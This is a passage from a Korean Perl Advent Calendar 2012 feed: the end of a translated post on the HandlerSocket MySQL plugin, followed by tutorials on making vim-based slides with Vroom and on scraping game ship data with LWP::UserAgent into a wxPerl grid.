<li>리플리케이션(복제) 지연을 감속할 수 있다.</li>
</ul>
<h3>중복 캐쉬 복제가 일어나지 않는다.</h3>
<p>memcached를 이용하여 MySQL/InnoDB 레코드들을 캐쉬할 때,
레코드들은 memcached와 InnoDB 버퍼 풀 안에 같이 캐쉬되어 있습니다.
그것들은 효율성을 떨어뜨립니다.
(메모리 공간을 더 많이 차지하게 됩니다.) Handlersocket 플러그인이
InnoDB 저장소 엔진에 접근하고 나서부터,
레코드들은 다른 SQL 명령문들이 재사용할 수 있도록 InnoDB 버퍼 풀에 캐쉬됩니다.</p>
<h3>자료 불일치가 없다.</h3>
<p>한 장소(내부 InnoDB)에 자료가 저장된 후부터,
memcached와 MySQL 사이에서의 자료 일치 확인과 같은 동작은 필요없게 되었습니다.</p>
<h3>충돌로부터 안전합니다.</h3>
<p>백엔드 저장소가 InnoDB입니다.
이는 트렌젝션을 지원하며, 충돌에 안전합니다.
심지어 <code>innodb-flush-log-at-trx-commit</code>이 1이 아니더라도,
서버 충돌로부터 1초 미만의 데이터만 잃게 됩니다.</p>
<h3 id="mysqlsql.">mysql 클라이언트로 SQL도 사용할 수 있습니다.</h3>
<p>많은 경우, 사람들은 아직도 SQL을 사용하길 원합니다.
(예를 들어, 요약 보고서를 생성하기 위해서) 이것이 Embedded InnoDB를 쓸 수 없었던 이유입니다.
대부분의 NoSQL 제품들은 SQL 인터페이스를 지원하지 않습니다.
HandlerSocket은 단순히 MySQL에 대한 플러그인입니다.
여러분은 MySQL 클라이언트로부터 SQL 명령문을 전달할 수 있으며,
높은 성능을 필요로 할 때에는 HandlerSocket 프로토콜을 사용할 수도 있습니다.</p>
<h3 id="mysql">MySQL로부터의 모든 부가적인 이점</h3>
<p>다시 말하지만, HandlerSocket은 MySQL 안에서 수행하며,
예를 들어, SQL, 온라인 백업, 리플리케이션,
Nagios/EnterpriseMonitor에 의한 모니터링 등과 같은
모든 MySQL 동작들을 지원합니다. HandlerSocket 동작은
<code>SHOW GLOBAL STATUS</code>, <code>SHOW ENGINE INNODB STATUS</code>, <code>SHOW PROCESSLIST</code>와 같은
정규 MySQL 명령으로 모니터링 할 수 있습니다.</p>
<h3 id="mysql">MySQL을 수정하거나 재설치 할 필요 없음</h3>
<p>플러그인이기 때문에 MySQL 커뮤니티나 MySQL 엔터프라이즈 서버 상에서 모두 실행시킬 수 있습니다.</p>
<h3>스토리지 엔진으로부터 독립적임</h3>
<p>비록 InnoDB Plugin 5.1과 5.5에서만 테스트 하였고 사용하고 있지만,
HandlerSocket은 어떤 버전의 스토리지 엔진들과도 통신할 수 있도록 개발하였습니다.</p>
<h2>주의점과 한계점</h2>
<h3 id="handlersocketapi">HandlerSocket API를 배울 필요가 있음</h3>
<p>사용하기는 쉽지만,
여러분은 HandlerSocket으로 통신하기 위한 프로그램을 작성할 필요가 있습니다.
우리는 C++ API와 Perl binding을 제공합니다.</p>
<h3>보안체계가 없습니다.</h3>
<p>다른 NoSQL 데이터베이스들처럼, HandlerSocket은 어떤 보안 요소도 제공하지 않습니다.
HandlerSocket의 워커 스레드들은 시스템 사용자 권한으로 동작합니다.
따라서 응용프로그램은 HandlerSocket 프로토콜로 모든 테이블에 접근할 수 있습니다.
물론 여러분은 다른 NoSQL 제품들처럼 패킷을 막기 위해 방화벽을 사용할 수 있습니다.</p>
<h3 id="hdd">HDD 동작한계에 대한 이점이 없음</h3>
<p>HDD I/O 동작한계 안에서, 일반적인 결과로 1-10% CPU 사용율 내에,
데이터베이스 인스턴스는 초당 수천개의 쿼리들을 수행할 수 없습니다.
그러한 경우, SQL 수행 레이어는 병목현상을 일으키지 않습니다.
따라서 HandlerSocket을 사용할 이유가 없습니다.
우리는 서버상에서 모든 데이터를 메모리에 맞게 넣어두고 HandlerSocket을 사용하고 있습니다.</p>
<h2 id="denahandlersocket.">DeNA는 제품에서 HandlerSocket을 사용하는 중입니다.</h2>
<p>우리는 이미 HandlerSocket 플러그인을 우리의 제품 환경에서 사용하고 있습니다.
결과는 훌륭합니다. 우리는 많은 memcached와 MySQL 슬레이브 서버들을 줄일 수 있었습니다.
전체 네트워크 트래픽도 감소하였습니다.
우리는 어떤 성능 문제(응답시간이 줄어들거나, 스톨에 걸리는 등)도 보질 못했습니다.
우리는 결과에 아주 만족합니다.</p>
<p>제가 생각하기에 MySQL은 NoSQL/Database 커뮤니티로부터 저평가받고 있는것 같습니다.
MySQL은 실제로 다른 대부분의 제품들보다 훨씬 더 많은 역사를 가지고 있으며,
독자적이고 훌륭한 많은 개선점들을 달성해왔습니다.
저는 NDBAPI로부터 MySQL이 NoSQL로서의 강력한 잠재 능력을 가졌다는 것을 압니다.
저장소 엔진 API와 데몬 플러그인 인터페이스는 완벽하게 독자적입니다.
그리고 그것들이 Akira와 DeNA가 HandlerSocket을 개발할 수 있도록 만들어 주었습니다.
MySQL의 이전 고용자로서 그리고 MySQL에 대한 오랜 즐거움 때문에,
저는 MySQL이 단순 RDBMS로서만이 아니라,
또 다른 Yet Another NoSQL 라인업이 되는 것을 바랍니다.</p>
<p>HandlerSocket 플러그인은 오픈소스이니, 마음껏 사용하시기 바랍니다.
어떠한 피드백이라도 감사합니다.</p>
<h2>옮기며</h2>
<p>이 글의 원문은 <a href="http://yoshinorimatsunobu.blogspot.kr/search/label/handlersocket">요시노리 마쯔노부의 블로그 포스트</a>입니다.
역자는 <a href="https://twitter.com/jachin24">@jachin24</a>입니다.</p>
2012-12-12T00:00:00+09:00Yoshinori Matsunobu내겐 너무 어려운 슬라이드http://advent.perl.kr/2012/2012-12-11.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/rumidier">@rumidier</a> -
초보 Perler. rumidier 또는 병대라고 불리운다.</p>
<h2>시작하며</h2>
<p>파워포인트, 키노트, 프레지... 세상에는 정말 훌륭한 슬라이드 저작 도구가 많습니다.
한 해, 한 해 거듭할 수록 이런 도구들이 지원하는 효과는 화려해지고 미려해집니다.
하지만 그에 비해 익혀야 할 기능은 많고, 메뉴 목록을 보면 숨이 '턱'하니 막힐 것 같습니다.
간단한 발표자료를 만들기 위해 발표자료 저작 도구를 공부해야 한다니...
무릇 당연한 일 같지만, 또 한편으로는 무언가 비효율적인 것 같습니다.
Perl 해커 중 한 명인 <a href="https://metacpan.org/author/INGY">Ingy döt Net</a>가 만든 <a href="https://metacpan.org/module/Vroom">Vroom</a>은
그야말로 저와 같은 사람을 위한 슬라이드 저작 도구입니다!
자, 출발해볼까요? 부릉부릉~~ :)</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Vroom">CPAN의 Vroom 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Vroom
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<code>perlbrew</code>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Vroom
</pre>
<h2>사용방법</h2>
<p>Vroom은 Vim을 이용해서 슬라이드를 화면에 보여줍니다.
Vroom을 사용하기 위해 <code>.vimrc</code>에 <code>set exrc</code>를 추가합니다.</p>
<pre class="brush: bash;">
$ vi ~/.vimrc
set exrc
</pre>
<p>Vroom을 설치했으므로 <code>vroom</code> 유틸리티를 사용해서 슬라이드를 생성할 수 있습니다.</p>
<pre class="brush: bash;">
$ mkdir Vroom
$ cd Vroom
$ vroom -new
$ ls
slides.vroom
</pre>
<p>자동으로 생성된 <code>slieds.vroom</code> 파일은 Vroom의 기본적인 사용법이
Vroom의 문법을 이용해서 기술 되어 있습니다.</p>
<pre class="brush: plain;">
---- config
# These are YAML settings for Vroom
title: My Spiffy Slideshow
height: 84
width: 20
# skip: 12 # Skip 12 slides. Useful when making slides.
# auto_size: 1 # Determines height/width automatically
---- center
My Presentation
by Ingy
----
== Stuff I care about:
* Foo
+* Bar
+* Baz
---- perl,i10
# Perl code indented 10 spaces
use Vroom;
print "Hello World";
---- center
THE END
</pre>
<p>Vroom 슬라이드를 시작하려면 다음 명령을 실행합니다.</p>
<pre class="brush: bash;">
$ vroom -vroom
</pre>
<h2 id="vroom">Vroom 기능 알아보기</h2>
<h3>설정</h3>
<p>화면을 조절하려면 다음 설정을 추가합니다.</p>
<pre class="brush: plain;">
auto_size: 1
</pre>
<p><code>---- config</code> 항목에 해당 되며 전 페이지 하단에 표기 됩니다.</p>
<pre class="brush: plain;">
title: Waht! Vroom?
</pre>
<h3>페이지</h3>
<p>새로운 페이지를 추가해 줍니다.</p>
<pre class="brush: plain;">
----
</pre>
<p>전달할 내용를 페이지 중앙에 배치 합니다.</p>
<pre class="brush: plain;">
---- center
Slide Show In Vim
</pre>
<p>페이지별 제목은 다음과 같습니다.</p>
<pre class="brush: plain;">
== Page Title
</pre>
<p>여러가지 언어의 문법을 강조 해서 보여 줄수 있습니다.</p>
<pre class="brush: plain;">
perl,ruby,python,php,javascript,
haskell,actionscript,html,yaml,xml,json,make,shell,diff
</pre>
<p>문법 강조시 들여쓰기 칸수를 조정 할수 있습니다.</p>
<pre class="brush: plain;">
---- perl,i4
use Vroom;
print "Hello, Vroom!";
</pre>
<p><code>+</code>기호를 통해서 화면 이동시 한줄씩 출력 되도록 합니다.</p>
<pre class="brush: plain;">
* Foo
+* Bar
+* Baz
</pre>
<p>Vroom에서 사용하는 키 바인딩은 다음과 같습니다.</p>
<ul>
<li><code><SPACE></code>: 다음 페이지</li>
<li><code><BACKSPACE></code>: 이전 페이지</li>
<li><code>QQ</code>: 종료</li>
</ul>
<p>Vroom은 소개한 것 이외에도 다양한 기능을 제공합니다.
자세한 내용은 공식 문서를 참조하세요.</p>
<h2>슬라이드 제작</h2>
<p>자, 이제 슬라이드를 만들어보죠.</p>
<p>기본 페이지 작성</p>
<pre class="brush: plain;">
---- config
title: You Slide Title
indent: 5
height: 18
width: 69
auto_size: 1
skip: 0
---- center
THE END
</pre>
<p>첫 페이지를 작성 하기위해 <code>skip: 0</code>과 <code>---- center</code> 사이에 내용을 추가합니다.</p>
<pre class="brush: plain;">
---- center
== Slide Show In Vim
by rumidier
</pre>
<p><code>+</code>를 이용하면 순차적으로 목록을 보여줍니다.</p>
<pre class="brush: plain;">
---- center
== Add line
* Foo
+* Bar
+* Baz
</pre>
<p>이번에는 펄 코드를 넣어 보죠.</p>
<pre class="brush: plain;">
---- perl,i4
use Vroom;
print "Hello, Vroom!";
</pre>
<p>예제 작성후 실행 시켜 보면 개인 <code>vim</code>설정 화면이 그대로 노출 됩니다.
글씨도 작고 줄번호 때문에 보기가 불편 합니다.
수정해봅시다.</p>
<p><img src="2012-12-11-01_r.png" alt="vim 설정" id="vim" />
<em>그림 1.</em> vim 설정 (<a href="2012-12-11-01.png">원본</a>)</p>
<p>라인넘버와 하단 <code>vim</code> 정보를 보여주지 않도록 설정합니다.
다음 내용을 <code>skip: 0</code> 아래에 추가합니다.</p>
<pre class="brush: plain;">
vimrc: |
set nonu
set noruler
</pre>
<p>터미널을 사용한다면 vim에서 글자 크기를 조정할 마땅한 방법은 없습니다.
사용하는 터미널의 설정을 이용해서 모니터 크기에 맞게 터미널의 폰트 크기를 조정합니다.</p>
<p><img src="2012-12-11-02_r.png" alt="vroom 설정" id="vroom" />
<em>그림 2.</em> vroom 설정 (<a href="2012-12-11-02.png">원본</a>)</p>
<p>만들고 보니 상단에 커서가 신경쓰이는군요.
커서를 없애기보다 제목으로 활용할 수 있도록
<code>set noruler</code> 아래에 옵션을 추가합니다.</p>
<pre class="brush: plain;">
map <SPACE> :n<CR>:<CR>ggddiPerl-Advent2012: Look at That!<CR><ESC>:w<CR>gg<C-L>
map <BACKSPACE> :N<CR>:<CR>gg
</pre>
<p><img src="2012-12-11-03_r.png" alt="페이지 제목 추가" id="" />
<em>그림 3.</em> 페이지 제목 추가 (<a href="2012-12-11-03.png">원본</a>)</p>
<h2 id="vroom-pdf">Vroom -> PDF</h2>
<p>Vroom의 단점은 다음과 같습니다.</p>
<pre><code> - 텍스트만 표현 가능
- 개인 컴퓨터에 최적화
</code></pre>
<p>Vroom의 단점을 극복하기 위해, 즉 사진을 넣거나 다른 컴퓨터에서도
볼 수 있도록 하기위해 PDF로 변환해보죠.
사진을 추가할 위치에 제목을 추가합니다.
일종의 플레이스 홀더인 셈이죠.</p>
<pre class="brush: plain;">
---- center
== [사진 - 예쁜표정]
</pre>
<p>Vroom이 자체적으로 PDF로 변환하는 기능을 제공하지 않으므로
각각의 슬라이드 페이지를 그림 파일로 저장해서 묶으면 어떨까요?
Mac을 사용한다면 <code>Cmd + Shift + 3</code>를 이용해서 화면을 갈무리할 수 있습니다.
화면 갈무리가 모두 끝나면 페이지 개수 만큼(많은) 파일이 생깁니다.</p>
<pre class="brush: bash;">
$ ls
스크린샷 2012-12-06 오후 12.17.21.png
스크린샷 2012-12-06 오후 12.17.23.png
스크린샷 2012-12-06 오후 12.17.24.png
스크린샷 2012-12-06 오후 12.17.25.png
스크린샷 2012-12-06 오후 12.17.26.png
스크린샷 2012-12-06 오후 12.17.27.png
스크린샷 2012-12-06 오후 12.17.29.png
</pre>
<p>파일 명이 너무 길죠?
사진이나 이미지를 추가하려면 파일명과 페이지 번호가 일치하면 수정하기가 편할 것입니다.
파일명을 페이지 번호와 일치하게 변경하려면 다음 명령을 실행합니다.</p>
<pre class="brush: bash;">
$ perl -e '$count=0; rename $_, sprintf("%02d.png", ++$count) for @ARGV;' *
$ ls
01.png 02.png 03.png 04.png 05.png 06.png 07.png
</pre>
<p><code>05.png</code> 파일이 그림 파일과 교체할 페이지입니다.</p>
<pre class="brush: bash;">
$ mv pretty.png 05.png
</pre>
<h2 id="pdf">PDF 변환 하기</h2>
<p>모든 준비는 끝났습니다. 이제 PDF로 변환할 일만 남았죠.
<a href="http://www.imagemagick.org/">ImageMagick</a>의 <code>convert</code> 도구를 사용하면 간단히 PDF로 변환할 수 있습니다.</p>
<p>데비안 계열의 운영체제를 사용한다면 다음 명령을 이용해서 ImageMagick을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo apt-get install imagemagick
</pre>
<p>Mac을 사용한다면 다음 명령으로 설치합니다.</p>
<pre class="brush: bash;">
$ brew install imagemagick
</pre>
<p>변환은 <code>convert</code> 도구를 이용합니다.</p>
<pre class="brush: bash;">
$ ls
01.png 02.png 03.png 04.png 05.png 06.png 07.png
$ convert *.png my-first-slide.pdf
$ ls
01.png 02.png 03.png 04.png 05.png 06.png 07.png my-first-slide.pdf
</pre>
<h2>마치며</h2>
<p>Vroom은 키노트나 파워포인트 등에 비하면 기능이 많거나 화려하진 않습니다.
하지만 짧은 시간 안에 필요한 내용을 집중적으로 담기에는 부족함이 없습니다.
GUI 도구가 익숙하지 않아 불편하거나, 발표 내용 이외의 것들로 골머리를 앓는 것이
지긋지긋하다면 Vroom을 한번 써보는것은 어떨까요? :D</p>
2012-12-11T00:00:00+09:00rumidierLWP 모듈로 웹 데이터를 긁어오자http://advent.perl.kr/2012/2012-12-10.html<h2>저자</h2>
<p><a href="https://github.com/laen0k">@laen0k</a> - Freenode IRC #perl-kr 입성 1년째. 그러나 Perl 학습&시작은 세달전부터인 초보. 대항해시대 온라인에 심취해있다.</p>
<h2>시작하며</h2>
<p>여러분들 중에도 웹상에 떠도는 데이타를 내 수중에 넣고 요리해 보고 싶은 분들이 계실 것입니다.
제 경우, 최근 심취해 있는 대항해시대의 각 함선에 대한 레벨별 정보를 뽑아 그리드 형식으로 출력하는 프로그램을 한 번 만들어보았습니다.
이러한 작업은 CPAN에 있는 다양하고 유용한 여러 모듈들을 지니고 있는 Perl과 함께라면 아주 간단합니다. 저같은 초보도 잘 사용하기만 하면 뚝딱 만들어 낼수 있을 정도니까요~
그럼 시작해 볼까요?</p>
<h2>준비물</h2>
<p>준비물은 아래와 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/LWP::UserAgent">LWP::UserAgent</a> 모듈 - 웹페이지에서 html 문서를 추출</li>
<li><a href="https://metacpan.org/module/HTML::TreeBuilder">HTML::TreeBuilder</a> 모듈 - html 구문분석을 통한 태그별 목록화</li>
<li><a href="https://metacpan.org/module/Alien::wxWidgets">Alien::wxWidgets</a> 모듈 - wxWidget의 C++ 라이브러리</li>
<li><a href="https://metacpan.org/module/Wx">Wx</a> 모듈 - 크로스 플랫폼 GUI 어플 개발 툴킷으로 윈도, 맥, 리눅스 등의 OS 지원</li>
<li><a href="https://metacpan.org/module/wxPerl::Styles">wxPerl::Styles</a> - Wx 그리드 셀 내부 문자를 정렬시켜주기 위한 상수처리를 포함</li>
</ul>
<p>Wx 모듈의 경우 CPAN대신 PPM으로 바이너리 파일들을 받아옵시다.
Strawberry Perl 5.14.2.1 버전은 상위 버전의 PPM으로 설치해주셔야 ppd를 제대로 읽어오는데 <a href="http://sourceforge.net/apps/mediawiki/pdl/index.php?title=Installing_PDL_on_Windows">Installing PDL on Windows</a> 하단 "Installing PPM"을 참고하시기 바랍니다.</p>
<pre class="brush: plain;">
C:\> ppm install http://www.wxperl.co.uk/repo29/Alien-wxWidgets.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-ActiveX.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-Demo.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-GLCanvas.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-PdfDocument.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-Perl-FSHandler-LWP.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-Perl-ListCtrl.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-Perl-ListView.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-Perl-ProcessStream.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-Perl-TreeView.ppd
C:\> ppm install http://www.wxperl.co.uk/repo29/Wx-Scintilla
</pre>
<h2>작성할 파일</h2>
<p>앞으로 작성할 프로그램의 디렉터리 구조는 다음과 같습니다.</p>
<pre class="brush: plain;">
.\
| lib\ # 개인 모듈을 보관할 디렉토리
| |--Ship.pm # LWP로 웹 데이타를 긁어와서 해쉬에 저장하고 정렬하는 기능을 담당합니다
| |--wxGrid.pm # 그리드 형태로 출력하며 상단 라벨에 마우스 양 버튼을 누르면 정렬된 데이타를 보여줍니다
|--main.pl
</pre>
<h2 id="ship.pm-">Ship.pm - 함선 정보를 담당하는 모듈 작성</h2>
<p>Perl에서는 <code>package</code>가 클래스입니다. <code>new()</code> 생성자는 <code>bless()</code>를 통해 내부에서
객체를 생성하고, 생성한 객체를 반환해줍니다. 그 사이에 <code>_init()</code> 함수를 실행했습니다.
상단에 보이는 utf8 프라그마는 소스코드 파일이 UTF-8 형식일때 사용하며 소스코드 파일 내에서 사용하는 유니코드(해시 키-값 한글 사용)를 Perl 내부 유니코드 포맷으로 변경해주는 역할을 합니다.</p>
<p>이러한 처리를 하지 않으면 wxPerl에서 문자를 출력할 때 글자가 깨지게 됩니다. <code>use Encode qw/decode/</code> 모듈의 <code>decode()</code> 함수 또한 <code>LWP::UserAgent</code>로 받아온 HTML 문서를 동일한 포맷으로 변경하여 Perl 내부에서 유니코드 처리를 원활하게 합니다.</p>
<pre class="brush: perl;">
package Ship;
use LWP::UserAgent;
use HTML::TreeBuilder;
use Encode qw/decode/;
use utf8;
sub new {
my $class = shift;
my $self = bless {}, $class;
$self->_init;
return $self;
}
</pre>
<p>객체를 생성하는 시점에 <a href="http://uwodb.ivyro.net/kr/main.php?id=145&chp=1">대항해시대 두부</a>에서 함선 정보를 가져옵니다.</p>
<pre class="brush: perl;">
sub _init{
my $self = shift;
$self->{'attrorder'} = ["함선 종류", "모험 레벨", "교역 레벨", "전투 레벨"];
my %ship_kind = ("탐험용" => 1, "상업용" => 2, "전투용" => 3, "※캐쉬" => 9);
my %ship_html;
my $ua = LWP::UserAgent->new;
my ($rsp, $html, $tree);
foreach (keys %ship_kind) {
$rsp = $ua->get("http://uwodbmirror.ivyro.net/kr/main.php?id=145&chp=".$ship_kind{$_});
$html = decode('utf8', $rsp->content);
$tree = HTML::TreeBuilder->new;
$ship_html{$_} = $tree->parse($html);
}
foreach my $ship_kind (keys %ship_kind) {
my $ship_name;
my @htmls = $ship_html{$ship_kind}->look_down(
sub {
$_[0]->attr('href') =~ /main\.php\?id=5\d{7}/
or
$_[0]->attr('class') =~ /level\d/
}
);
foreach (@htmls) {
if ($_->attr_get_i('href')) {
$ship_name = $_->as_text;
$self->{ship}{$ship_name}{'함선 종류'} = $ship_kind;
} else {
$self->{ship}{$ship_name}{$_->attr_get_i('title')} = $_->as_text;
}
}
}
}
</pre>
<p>자세히 설명해보겠습니다. <code>LWP::UserAgent</code>가 <code>get('<URL>')</code>로 해당 페이지의 소스를 긁어오는데 이때 해당 텍스트를 <code>decode()</code>해서 Perl 내부 유니코드 포맷으로 변경해주어야 문자열 처리에 문제가 생기지 않습니다. (<a href="https://metacpan.org/module/WWW::Mechanize">WWW::Mechanize</a>의 최신 버전은 자동으로 디코드하는 점에 유의하세요.)</p>
<p>다음으로 <code>HTML::TreeBuilder</code>가 <code>parse()</code>로 구문 분석을 하며 분석을 완료한 객체를 <code>look_down()</code> 함수를 이용해 <code>$_[0]->attr('속성명')</code>으로 접근해 정규표현식이 일치하는 태그를 빼옵니다.
이제 해당 태그의 텍스트를 추출해 배의 정보를 고스란히 담아주면 완료입니다.</p>
<pre class="brush: perl;">
sub info { shift->{ship} }
sub attrorder { shift->{attrorder} }
sub count { scalar keys %{shift->{ship}} }
</pre>
<p>여기서는 <code>shift()</code> 내장 함수를 이용해 해당 객체의 해시 정보를 아주 쉽게 접근합니다.
외부에서 <code>$객체->{'해시키'}</code>로 접근할 수도 있지만 객체지향적으로는 결코 좋은 방법이 아니겠죠~
아래와 같이 정렬을 마치고 함선 배열을 보유한 해시 레퍼런스를 반환합니다.</p>
<pre class="brush: perl;">
sub grid_list {
my ( $self, $getCol, $order ) = @_;
my $ship_grid;
my @sorted_ship_names =
sort { $self->_sort($getCol, $order) } keys %{$self->info};
foreach my $ship_name ( @sorted_ship_names ) {
push @{$ship_grid->{함선명}}, $ship_name;
foreach ( @{$self->attrorder} ) {
push @{$ship_grid->{함선정보}}, $self->info->{$ship_name}{$_};
}
}
return $ship_grid;
}
</pre>
<p>wxGrid 쪽에서 마우스 이벤트가 발생했을 때 다시 정렬해서 그리드에 그려주기 위한 <code>grid_list()</code> 사용자 함수입니다.</p>
<pre class="brush: perl;">
sub sort_grid {
my $self = shift;
return sub {
my $order = shift;
return sub {
my ( $grid, $event ) = @_;
my $sort;
$sort = $self->grid_list( $event->GetCol, $order );
$grid->draw_grid(
$sort->{함선명},
$self->attrorder,
$sort->{함선정보},
);
}
}
}
</pre>
<p>자세히 보면 익명 함수를 두단계에 걸쳐서 반환하고 있는데, wxGrid 모듈 안의 마우스 클릭 이벤트가 인자로 가져야 할 익명 함수를 반환하고 그 내부에서의 처리를 위해 또 다시 익명 함수를 반환하기 위해 클로저 형태로 구성하였습니다.
여기서 눈여겨 보아야 할 점은 제일 안쪽의 익명 함수의 첫 번째와 두 번째 인자가 wxGrid 객체와 Event 객체를 받아서 이벤트를 처리하게 된다는 점입니다.</p>
<pre class="brush: perl;">
sub _sort {
my ( $self, $getCol, $order ) = @_;
my @ship_cols = @{ $self->attrorder };
unless ( $getCol ){
($order)?
return $self->info->{$a}{$ship_cols[$getCol]} cmp $self->info->{$b}{$ship_cols[$getCol]} || $a cmp $b:
return $self->info->{$b}{$ship_cols[$getCol]} cmp $self->info->{$a}{$ship_cols[$getCol]} || $a cmp $b;
} else {
($order)?
return $self->info->{$b}{$ship_cols[$getCol]} <=> $self->info->{$a}{$ship_cols[$getCol]} || $a cmp $b:
return $self->info->{$a}{$ship_cols[$getCol]} <=> $self->info->{$b}{$ship_cols[$getCol]} || $a cmp $b;
}
}
1;
</pre>
<p>함선 정보가 문자인지 숫자인지에 따라 <code>cmp</code>와 <code><=></code>로 비교연산자를 다르게 사용해야 합니다. 그리고 셀의 정보는 내림차순, 함선명은 오름차순으로 정렬하게 만들면서 약간 복잡하게 되어버린, 여하튼 <code>sort()</code>시에 끼워넣을 함수입니다.
마지막 줄의 <code>1;</code>은 모듈 작성시에 꼭 넣어주셔야 합니다. 이게 없으면 실행시에 모듈이 참값을 반환하지 못했다고 뜹니다.</p>
<h2 id="wxgrid.pm-gui">wxGrid.pm - GUI폼에 그리드를 그려주기 위한 모듈 작성</h2>
<p><code>wxGrid.pm</code>은 <code>Wx::Grid</code>에서 상속받은 클래스입니다. <code>$class->SUPER::new()</code>를 이용해 객체를 생성하는데, 이때 중요한 점은 Grid 객체 생성자는 첫번째 인자로 <code>Frame</code> 객체를 받는다는 것입니다.
여기서는 아래와 같이 <code>main.pl</code>에서 작성한 <code>$frame</code>을 넘겨받습니다.</p>
<pre class="brush: perl;">
package wxGrid;
use base 'Wx::Grid';
use Wx::Event qw/EVT_GRID_LABEL_LEFT_CLICK EVT_GRID_LABEL_RIGHT_CLICK/;
use wxPerl::Styles 'wxVal';
sub new {
my ($class, $frame, @arg_list) = @_;
my $self = $class->SUPER::new($frame, -1);
$self->_init(@arg_list);
return $self;
}
</pre>
<p>아래와 같이 행, 열, 셀에 각각 들어가야 할 배열을 레퍼런스로 받아 그리드를 생성해줍니다.</p>
<pre class="brush: perl;">
sub _init{
my ($self, $rows, $cols, $cells) = @_;
$self->CreateGrid( scalar @$rows, scalar @$cols );
$self->draw_grid( $rows, $cols, $cells );
$self->SetRowLabelSize(150);
$self->AutoSizeColumns(1);
$self->SetDefaultCellAlignment(wxVAL('align_right'), wxVal('align_center'));
}
</pre>
<p><code>AutoSize</code>로 시작하는 함수는 문자 크기대로 셀의 크기를 맞춰주고, <code>SetDefault</code>로 시작하는 <code>Alignment</code>는 셀 내부 문자의 정렬을 담당하는데 이때 <code>wxPerl::Styles</code> 모듈의 <code>wxVal()</code> 함수가 상수를 올바르게 전달하는 역할을 해줍니다.
아래와 같이 함선 정보를 모두 담고 있는 행, 열, 셀에 대한 배열을 그리드로 그려줍니다.</p>
<pre class="brush: perl;">
sub draw_grid {
my ( $self, $rows, $cols, $cells ) = @_;
$self->SetRowLabelValue( $_, $rows->[$_] ) foreach 0 .. $#{$rows};
$self->SetColLabelValue( $_, $cols->[$_] ) foreach 0 .. $#{$cols};
$self->SetCellValue( $_ / @{$cols}, $_ % @$cols, $cells->[$_] ) foreach 0 .. $#{$cells};
}
</pre>
<p>다음은 그리드 상단의 라벨에 마우스 클릭 이벤트가 발생했을 경우 실행하게될 이벤트를 보유한 함수입니다.
앞쪽에서 미리 얘기했던 익명함수를 중첩 반환하는 <code>sort_grid()</code>를 <code>$func</code>가 받아서 이벤트 함수에 인자로 넘겨주는 형태로 작동하고 있습니다.</p>
<pre class="brush: perl;">
sub evt_click {
my ($self, $func) = @_;
EVT_GRID_LABEL_RIGHT_CLICK( $self, $func->(0) );
EVT_GRID_LABEL_LEFT_CLICK( $self, $func->(1) );
}
1;
</pre>
<p>여기까지입니다. Ship.pm 모듈보다는 상당히 짧습니다. 모든 기능을 Ship 쪽에 다 집어넣었다고 봐야겠네요^^;</p>
<h2 id="main.pl-">main.pl - 프로그램을 실행하다!</h2>
<p>이제 실행해 보는 일만 남았군요~!
아래와 같이 작성했습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use strict;
use warnings;
use Wx;
use lib 'lib';
use wxGrid;
use Ship;
use Data::Dumper;
my $app = Wx::SimpleApp->new;
my $frame = Wx::Frame->new( undef, -1, 'Wx Grid', [-1, -1], [500, 1000] );
my $ship = Ship->new;
my $grid = wxGrid->new($frame, $ship->grid_list->{'함선명'}, $ship->attrorder, $ship->grid_list->{'함선정보'});
$grid->evt_click($ship->sort_grid);
$frame->Show;
$app->MainLoop;
#print Dumper($ship);
</pre>
<p>일단 <code>use lib 'lib'</code>란 항목이 있습니다. 현재 이 파일 경로에 <code>lib</code> 디렉토리를 개인 모듈 공간으로 쓰겠다는 뜻입니다. 그리하여 <code>use wxGrid</code>와 <code>use Ship</code>이 정상적으로 작동하게 됩니다.</p>
<p>다음으로 <code>Wx::SimpleApp->new</code> 부분입니다. 원래는 <code>Wx::App</code>를 상속받은 모듈 하나를 따로 만들어서 작성하게 되지만 여기서는 <code>Wx::SimpleApp</code>를 이용했습니다. 이전에 언급했듯이 <code>Wx::Frame</code> 객체를 생성해주어야 하고, 각 속성값은 순서대로 <code>(parent, id, title, position, size)</code>입니다.</p>
<p>그 뒤로 <code>(window style, window name)</code>까지 넘겨줄 수 있지만, 이 부분은 취향대로 할 수 있습니다. <code>Wx::Grid</code>의 경우도 비슷한데 <code>title</code> 항목을 제외하였습니다.
네, 이제 그리드 객체에 함선 정보를 인자로 넘겨 <code>$grid</code>에 담고, <code>evt_click()</code>을 활성화해주고, <code>$frame->show</code>와 <code>$app->MainLoop</code>를 통해 GUI를 띄워주면 완료입니다.</p>
<p>마지막으로, 주석 처리한 <code>print Dumper($ship)</code> 부분이 있는데 <a href="https://metacpan.org/module/Data::Dumper">Data::Dumper</a> 모듈이 필요하며 해당 레퍼런스의 데이타를 몽땅 보여주게 됩니다. 본인이 작성한 배열, 해쉬, 객체가 자료를 제대로 보유하고 있는지 확인하고 싶다면 필수겠죠?^^
또, <code>perl\bin\wxperl_demo.bat</code> 파일을 실행하여 데모를 시연해 볼 수 있습니다.</p>
<p><img src="2012-12-10-1_r.png" alt="완성된 프로그램" id="" />
